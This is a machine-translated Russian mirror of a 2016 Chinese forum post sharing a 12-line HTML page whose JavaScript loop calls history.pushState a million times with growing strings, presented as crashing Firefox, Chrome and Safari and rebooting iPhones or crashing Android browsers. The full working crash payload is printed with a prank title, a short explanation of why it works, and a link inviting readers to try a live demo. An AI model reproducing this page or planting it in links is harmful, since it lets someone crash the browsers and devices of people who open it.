Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 13238|Ответ: 0

[HTML/HTML5] 12 строк HTML-кода веб-страницы заставят ваш компьютер вылететь, а телефон перезагрузиться через несколько минут

[Скопировать ссылку]
Опубликовано 22.01.2016 11:36:39 | | | |
Причина инцидента такова: иностранный друг из Cyber Security опубликовал в Твиттере такой твит:



Этот человек утверждает, что если использовать вышеуказанный 12-строчный код Javascrip{filter}t, можно вывести Firefox, Chrome, Safari браузеры, а также вызвать перезагрузку iPhone и сбой на Android!

Полный HTML-код выглядит следующим образом:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Копирование кода


Если вы пользователь ПК, после перехода по ссылке память процессора компьютера скорее всего взлетит до тех пор, пока браузер не вылетит и не зависнет...

Если вы пользователь мобильных устройств (Android, iPhone), ваш браузер вылетит после перехода по ссылке! Переход по ссылке в Weibo и WeChat также вылетит.


Почему это происходит? В этом отношении я нашёл ответ от бога по имени «Xiaomi» на Чжиху:

history.pushstate() — это API, введённый HTML5, pushState добавляет заданный URL в историю браузера и хранит текущую точку истории. Когда i<100000, итоговая сумма будет записываться в историю браузера циклически, и если повторяться слишком часто, браузер не выдержит этого и естественным образом вылетит.

В общем, я даже не могу придумать «привет, мир», так что совсем не понимаю... Короче говоря, это как раз то, чтобы взорвать небо!


Если хотите попробовать, пожалуйста, нажмите здесь:   http://www.itsvse.com/demo.html




Предыдущий:[Открытый исходный код] Платформа запросов уязвимостей Wooyun, исходный код плюс версия базы данных asp.net
Следующий:Настройка/конфигурирование/конфигурирование Linux, создавать, тестировать/проверять, самостоятельно делать в...
Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com